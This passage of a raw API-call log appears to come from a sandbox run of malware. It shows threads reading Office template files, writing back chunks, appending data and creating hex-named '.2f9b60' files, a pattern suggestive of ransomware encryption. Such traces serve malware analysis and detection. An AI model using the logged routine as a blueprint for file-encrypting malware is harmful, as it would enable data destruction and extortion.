_Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="96") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="47") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="35") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="f6") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="f3") returned 2 [0203.686] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="2b") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="a7") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="73") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="03") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="c1") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="df") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="bf") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="b1") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="f8") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="cf") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="04") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="bb") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="a7") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="15") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="c8") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="07") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="c8") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="49") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="3a") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="6f") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="af") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea4c, _Format="%c%c" | out: _Dest="13") returned 2 [0203.687] sprintf (in: _Dest=0x1b7cea4e, _Format="%c%c" | out: _Dest="17") returned 2 [0203.687] RtlInitAnsiString (in: DestinationString=0x351ffe48, SourceString="518c351d7c5c23a52f9b66c5964735f6f32ba77303c1dfbfb1f8cf04bba715c807c8493a6faf1317" | out: DestinationString="518c351d7c5c23a52f9b66c5964735f6f32ba77303c1dfbfb1f8cf04bba715c807c8493a6faf1317") [0203.687] RtlAnsiStringToUnicodeString (in: DestinationString=0x351ffe18, SourceString="518c351d7c5c23a52f9b66c5964735f6f32ba77303c1dfbfb1f8cf04bba715c807c8493a6faf1317", AllocateDestinationString=1 | out: DestinationString="518c351d7c5c23a52f9b66c5964735f6f32ba77303c1dfbfb1f8cf04bba715c807c8493a6faf1317") returned 0x0 [0203.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43131010 [0203.688] wcscat (in: _Dest=0x43130f60, _Source="518c351d7c5c23a52f9b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\518c351d7c5c23a52f9b") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\518c351d7c5c23a52f9b" [0203.688] wcscat (in: _Dest=0x43130f60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\518c351d7c5c23a52f9b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\518c351d7c5c23a52f9b.2f9b60" [0203.688] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\518c351d7c5c23a52f9b.2f9b60", NtPathName=0x351ffdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\518c351d7c5c23a52f9b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ed560 Thread: id = 1120 os_tid = 0x7c0 [0112.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx")) returned 0x20 [0112.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx", dwFileAttributes=0x20) returned 1 [0112.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe18 [0112.388] GetFileSizeEx (in: hFile=0xe18, lpFileSize=0x352cf820 | out: lpFileSize=0x352cf820*=211750) returned 1 [0112.388] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x33b22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.388] ReadFile (in: hFile=0xe18, lpBuffer=0x352cf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x352cf7e8, lpOverlapped=0x0 | out: lpBuffer=0x352cf7a0*, lpNumberOfBytesRead=0x352cf7e8*=0x4, lpOverlapped=0x0) returned 1 [0112.390] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8410 [0112.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.390] NtQuerySystemTime (in: CurrentTime=0x352cf6e0 | out: CurrentTime=0x352cf6e0*=132462177178498000) returned 0x0 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x62b6a9a6 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x5b674562 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x60180667 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x287e82bd [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x22562d20 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x2f311034 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x7fd05b00 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x3817e1be [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x6e435139 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x5e34efc [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x35422c1 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x52476085 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x3be9409a [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x6bfd71a8 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x86bee7c [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x1ff0fda0 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x5c2f7a31 [0112.390] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x7ef21424 [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0xf28120a [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x31eda2ec [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x5c5bb56c [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x6cb65348 [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x73affafa [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x7ffb33c0 [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x509b64ec [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x411250b1 [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x4abbf78 [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x5da05a1f [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x52d6d041 [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x36fb365e [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x25bcd5af [0112.391] RtlRandomEx (in: Seed=0x352cf6d0 | out: Seed=0x352cf6d0) returned 0x19727a58 [0112.399] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.399] ReadFile (in: hFile=0xe18, lpBuffer=0x41e44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x352cf740, lpOverlapped=0x0 | out: lpBuffer=0x41e44990*, lpNumberOfBytesRead=0x352cf740*=0x3c00, lpOverlapped=0x0) returned 1 [0112.401] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8380) returned 1 [0112.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e485a0 [0112.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8380 [0112.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0112.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.402] WriteFile (in: hFile=0xe18, lpBuffer=0x41e485a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x352cf740, lpOverlapped=0x0 | out: lpBuffer=0x41e485a0*, lpNumberOfBytesWritten=0x352cf740*=0x3c00, lpOverlapped=0x0) returned 1 [0159.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e485a0) returned 1 [0159.663] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.663] ReadFile (in: hFile=0xe18, lpBuffer=0x41e44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x352cf740, lpOverlapped=0x0 | out: lpBuffer=0x41e44990*, lpNumberOfBytesRead=0x352cf740*=0x3c00, lpOverlapped=0x0) returned 1 [0160.997] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059650 [0160.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0160.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e10 [0160.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2e10) returned 1 [0160.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2020c1b0 [0160.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e10 [0160.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ea0 [0160.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ea0) returned 1 [0160.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0160.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0160.999] WriteFile (hFile=0xe18, lpBuffer=0x2020c1b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x352cf740, lpOverlapped=0x0) [0187.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0187.163] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x2ff26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.163] ReadFile (in: hFile=0xe18, lpBuffer=0x41e44990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x352cf740, lpOverlapped=0x0 | out: lpBuffer=0x41e44990*, lpNumberOfBytesRead=0x352cf740*=0x3c00, lpOverlapped=0x0) returned 1 [0190.597] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x2ff26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e00 [0190.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e00) returned 1 [0190.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b085f0 [0190.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e00 [0190.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e30 [0190.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e30) returned 1 [0190.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.603] WriteFile (in: hFile=0xe18, lpBuffer=0x42b085f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x352cf740, lpOverlapped=0x0 | out: lpBuffer=0x42b085f0*, lpNumberOfBytesWritten=0x352cf740*=0x3c00, lpOverlapped=0x0) returned 1 [0205.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b085f0) returned 1 [0205.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f6e0 [0205.344] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.344] WriteFile (in: hFile=0xe18, lpBuffer=0x1ceb8600*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x352cf7f0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8600*, lpNumberOfBytesWritten=0x352cf7f0*=0x164, lpOverlapped=0x0) returned 1 [0208.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0208.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad40 [0208.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad40) returned 1 [0208.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5dbf0 [0208.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad40 [0208.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad10 [0208.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad10) returned 1 [0208.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0208.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x4319f750 [0208.704] sprintf (in: _Dest=0x4319f750, _Format="%c%c" | out: _Dest="da") returned 2 [0208.704] sprintf (in: _Dest=0x4319f752, _Format="%c%c" | out: _Dest="04") returned 2 [0208.704] sprintf (in: _Dest=0x4319f754, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.705] sprintf (in: _Dest=0x4319f756, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.705] sprintf (in: _Dest=0x4319f758, _Format="%c%c" | out: _Dest="37") returned 2 [0208.705] sprintf (in: _Dest=0x4319f75a, _Format="%c%c" | out: _Dest="b3") returned 2 [0208.705] sprintf (in: _Dest=0x4319f75c, _Format="%c%c" | out: _Dest="01") returned 2 [0208.705] sprintf (in: _Dest=0x4319f75e, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.705] sprintf (in: _Dest=0x4319f760, _Format="%c%c" | out: _Dest="bb") returned 2 [0208.705] sprintf (in: _Dest=0x4319f762, _Format="%c%c" | out: _Dest="d3") returned 2 [0208.705] sprintf (in: _Dest=0x4319f764, _Format="%c%c" | out: _Dest="c5") returned 2 [0208.705] sprintf (in: _Dest=0x4319f766, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.705] sprintf (in: _Dest=0x4319f768, _Format="%c%c" | out: _Dest="15") returned 2 [0208.705] sprintf (in: _Dest=0x4319f76a, _Format="%c%c" | out: _Dest="cc") returned 2 [0208.705] sprintf (in: _Dest=0x4319f76c, _Format="%c%c" | out: _Dest="62") returned 2 [0208.705] sprintf (in: _Dest=0x4319f76e, _Format="%c%c" | out: _Dest="23") returned 2 [0208.705] sprintf (in: _Dest=0x4319f770, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.705] sprintf (in: _Dest=0x4319f772, _Format="%c%c" | out: _Dest="30") returned 2 [0208.705] sprintf (in: _Dest=0x4319f774, _Format="%c%c" | out: _Dest="76") returned 2 [0208.705] sprintf (in: _Dest=0x4319f776, _Format="%c%c" | out: _Dest="b2") returned 2 [0208.705] sprintf (in: _Dest=0x4319f778, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.705] sprintf (in: _Dest=0x4319f77a, _Format="%c%c" | out: _Dest="70") returned 2 [0208.705] sprintf (in: _Dest=0x4319f77c, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.705] sprintf (in: _Dest=0x4319f77e, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.705] sprintf (in: _Dest=0x4319f780, _Format="%c%c" | out: _Dest="83") returned 2 [0208.705] sprintf (in: _Dest=0x4319f782, _Format="%c%c" | out: _Dest="16") returned 2 [0208.705] sprintf (in: _Dest=0x4319f784, _Format="%c%c" | out: _Dest="b4") returned 2 [0208.706] sprintf (in: _Dest=0x4319f786, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.706] sprintf (in: _Dest=0x4319f788, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.706] sprintf (in: _Dest=0x4319f78a, _Format="%c%c" | out: _Dest="55") returned 2 [0208.706] sprintf (in: _Dest=0x4319f78c, _Format="%c%c" | out: _Dest="d8") returned 2 [0208.706] sprintf (in: _Dest=0x4319f78e, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.706] sprintf (in: _Dest=0x4319f790, _Format="%c%c" | out: _Dest="59") returned 2 [0208.706] sprintf (in: _Dest=0x4319f792, _Format="%c%c" | out: _Dest="c0") returned 2 [0208.706] sprintf (in: _Dest=0x4319f794, _Format="%c%c" | out: _Dest="95") returned 2 [0208.706] sprintf (in: _Dest=0x4319f796, _Format="%c%c" | out: _Dest="2b") returned 2 [0208.706] sprintf (in: _Dest=0x4319f798, _Format="%c%c" | out: _Dest="8e") returned 2 [0208.706] sprintf (in: _Dest=0x4319f79a, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.706] sprintf (in: _Dest=0x4319f79c, _Format="%c%c" | out: _Dest="ce") returned 2 [0208.706] sprintf (in: _Dest=0x4319f79e, _Format="%c%c" | out: _Dest="4b") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7a0, _Format="%c%c" | out: _Dest="88") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7a2, _Format="%c%c" | out: _Dest="68") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7a4, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7a6, _Format="%c%c" | out: _Dest="fb") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7a8, _Format="%c%c" | out: _Dest="71") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7aa, _Format="%c%c" | out: _Dest="2f") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7ac, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7ae, _Format="%c%c" | out: _Dest="af") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7b0, _Format="%c%c" | out: _Dest="79") returned 2 [0208.706] sprintf (in: _Dest=0x4319f7b2, _Format="%c%c" | out: _Dest="cd") returned 2 [0208.706] RtlInitAnsiString (in: DestinationString=0x352cf868, SourceString="da047f6e37b301d3bbd3c55a15cc6223fb3076b2ba70ba4f8316b43d7c55d81c59c0952b8ef3ce4b88683ffb712f4faf79cd" | out: DestinationString="da047f6e37b301d3bbd3c55a15cc6223fb3076b2ba70ba4f8316b43d7c55d81c59c0952b8ef3ce4b88683ffb712f4faf79cd") [0208.706] RtlAnsiStringToUnicodeString (in: DestinationString=0x352cf838, SourceString="da047f6e37b301d3bbd3c55a15cc6223fb3076b2ba70ba4f8316b43d7c55d81c59c0952b8ef3ce4b88683ffb712f4faf79cd", AllocateDestinationString=1 | out: DestinationString="da047f6e37b301d3bbd3c55a15cc6223fb3076b2ba70ba4f8316b43d7c55d81c59c0952b8ef3ce4b88683ffb712f4faf79cd") returned 0x0 [0208.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43156c60 [0208.707] wcscat (in: _Dest=0x431a7010, _Source="da047f6e37b301d3bbd3c55a1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\da047f6e37b301d3bbd3c55a1") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\da047f6e37b301d3bbd3c55a1" [0208.707] wcscat (in: _Dest=0x431a7010, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\da047f6e37b301d3bbd3c55a1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\da047f6e37b301d3bbd3c55a1.2f9b60" [0208.707] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\da047f6e37b301d3bbd3c55a1.2f9b60", NtPathName=0x352cf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\da047f6e37b301d3bbd3c55a1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fd1b0 Thread: id = 1121 os_tid = 0x8a4 [0112.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx")) returned 0x20 [0112.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx", dwFileAttributes=0x20) returned 1 [0112.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe20 [0112.404] GetFileSizeEx (in: hFile=0xe20, lpFileSize=0x25fefca0 | out: lpFileSize=0x25fefca0*=3600568) returned 1 [0112.404] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x36f0b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.404] ReadFile (in: hFile=0xe20, lpBuffer=0x25fefc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25fefc68, lpOverlapped=0x0 | out: lpBuffer=0x25fefc20*, lpNumberOfBytesRead=0x25fefc68*=0x4, lpOverlapped=0x0) returned 1 [0112.406] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0112.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0112.406] NtQuerySystemTime (in: CurrentTime=0x25fefb60 | out: CurrentTime=0x25fefb60*=132462177178654000) returned 0x0 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x2ce55b26 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x4f8af4f [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x4a2cdde5 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x185499c9 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x3a8b027 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x55ea97de [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x38b048af [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x3a188643 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x2283581 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x4a0d2f9e [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x44cbb0ef [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x6b840404 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x126d49e4 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x3c97d90f [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x5d2ff928 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x451310a6 [0112.406] RtlRandomEx (in: Seed=0x25fefb50 | out: Seed=0x25fefb50) returned 0x39c84ff4 